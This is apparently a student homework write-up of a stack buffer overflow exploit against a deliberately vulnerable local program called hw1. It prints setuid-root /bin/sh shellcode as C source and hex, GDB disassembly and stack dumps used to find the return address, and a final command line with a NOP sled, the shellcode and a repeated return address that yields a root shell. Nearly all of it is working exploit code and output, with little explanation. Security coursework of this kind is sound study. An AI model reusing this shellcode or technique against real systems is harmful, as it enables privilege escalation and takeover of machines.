HW3

Using GDB

```
(gdb) r A A `perl -e 'print "A"x138'`
Starting program: /home/wei/Desktop/HW3/hw1 A A `perl -e 'print "A"x138'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

Shell code: shellcode.c

```
1 char shellcode[]=
2         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"  //setuid(0)
3         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
4         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
5         "\x80\xe8\xdc\xff\xff\xff\/bin/sh";
6 int main(){
7     int *ret;
8     ret=(int *)&ret + 2;
9
10    (*ret)=(int)shellcode;
11 }
```

Run and test shellcode

```
-rwsrwxr-x 1 root wei 7436 ┼─ 19 21:23 shellcode*
-rw-rw-r-- 1 wei  wei  316 ┼─ 19 21:23 shellcode.c
wei@wei-virtual-machine:~/Desktop/HW3$ ./shellcode
# whoami
root
#
```

Getsp

```
root@wei-virtual-machine:/home/wei/Desktop/HW3# ./getsp
Stack pointer(ESP): 0xbffff5c8
root@wei-virtual-machine:/home/wei/Desktop/HW3# ./getsp
Stack pointer(ESP): 0xbffff5c8
```

Create sc file

sc

```
00000000 31 C0 31 DB B0 17 CD 80 EB 1F 5E 89 76 08 31 C0 88 46 |1.1.......^.v.1..F
00000012 07 89 46 0C B0 0B 89 F3 8D 4E 08 8D 56 0C CD 80 31 DB |..F......N..V...1.
00000024 89 D8 40 CD 80 E8 DC FF FF FF 2F 62 69 6E 2F 73 68    |..@......./bin/sh
```

Calculate and find the return address

```
(gdb) disass UPtest
Dump of assembler code for function UPtest:
   0x08048507 <+0>:     push   %ebp
   0x08048508 <+1>:     mov    %esp,%ebp
   0x0804850a <+3>:     sub    $0x88,%esp
   0x08048510 <+9>:     sub    $0x8,%esp
   0x08048513 <+12>:    pushl  0x8(%ebp)
   0x08048516 <+15>:    lea    -0x23(%ebp),%eax
   0x08048519 <+18>:    push   %eax
   0x0804851a <+19>:    call   0x8048350 <strcpy@plt>
   0x0804851f <+24>:    add    $0x10,%esp
   0x08048522 <+27>:    sub    $0x8,%esp
   0x08048525 <+30>:    pushl  0xc(%ebp)
   0x08048528 <+33>:    lea    -0x3c(%ebp),%eax
   0x0804852b <+36>:    push   %eax
   0x0804852c <+37>:    call   0x8048350 <strcpy@plt>
   0x08048531 <+42>:    add    $0x10,%esp
   0x08048534 <+45>:    sub    $0x8,%esp
   0x08048537 <+48>:    pushl  0x10(%ebp)
   0x0804853a <+51>:    lea    -0x82(%ebp),%eax
   0x08048540 <+57>:    push   %eax
   0x08048541 <+58>:    call   0x8048350 <strcpy@plt>
   0x08048546 <+63>:    add    $0x10,%esp
   0x08048549 <+66>:    sub    $0x8,%esp
   0x0804854c <+69>:    push   $0x8048674
   0x08048551 <+74>:    lea    -0x3c(%ebp),%eax
   0x08048554 <+77>:    push   %eax
=> 0x08048555 <+78>:    call   0x8048340 <strcmp@plt>
```

```
(gdb) b *0x08048555
Breakpoint 1 at 0x8048555
(gdb) r A A `perl -e 'print "\x90"x53';``cat sc ``perl -e 'print "\x78\xf4\xff\x
bf"x20';`
Starting program: /home/wei/Desktop/HW3/hw1 A A `perl -e 'print "\x90"x53';``cat
 sc ``perl -e 'print "\x78\xf4\xff\xbf"x20';`

Breakpoint 1, 0x08048555 in UPtest ()
(gdb) x/64wx $esp
0xbffff420:     0xbffff47c      0x08048674      0x0804822c      0xbffff498
0xbffff430:     0xb7fffa74      0x90900001      0x90909090      0x90909090
0xbffff440:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff450:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff460:     0x90909090      0x90909090      0x31909090      0xb0db31c0
0xbffff470:     0xeb80cd17      0x76895e1f      0x88c03108      0x46890746
0xbffff480:     0x890bb00c      0x084e8df3      0xcd0c568d      0x89db3180
0xbffff490:     0x80cd40d8      0xffffdce8      0x69622fff      0x68732f6e
0xbffff4a0:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4b0:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4c0:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4d0:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4e0:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4f0:     0x00000000      0xbffff584      0xbffff598      0x00000000
```

```
(gdb) x/64wx $ebp-128
0xbffff438:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff448:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff458:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff468:     0x31909090      0xb0db31c0      0xeb80cd17      0x76895e1f
0xbffff478:     0x88c03108      0x46890746      0x890bb00c      0x084e8df3
0xbffff488:     0xcd0c568d      0x89db3180      0x80cd40d8      0xffffdce8
0xbffff498:     0x69622fff      0x68732f6e      0xbffff478      0xbffff478
0xbffff4a8:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4b8:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4c8:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4d8:     0xbffff478      0xbffff478      0xbffff478      0xbffff478
0xbffff4e8:     0xbffff478      0xbffff478      0x00000000      0xbffff584
```

Exploit!!

```
root@wei-virtual-machine:/home/wei/Desktop/HW3# ./hw1 A A `perl -e 'print "\x90"
x53';``cat sc ``perl -e 'print "\x78\xf4\xff\xbf"x20';`
# whoami
root
#
```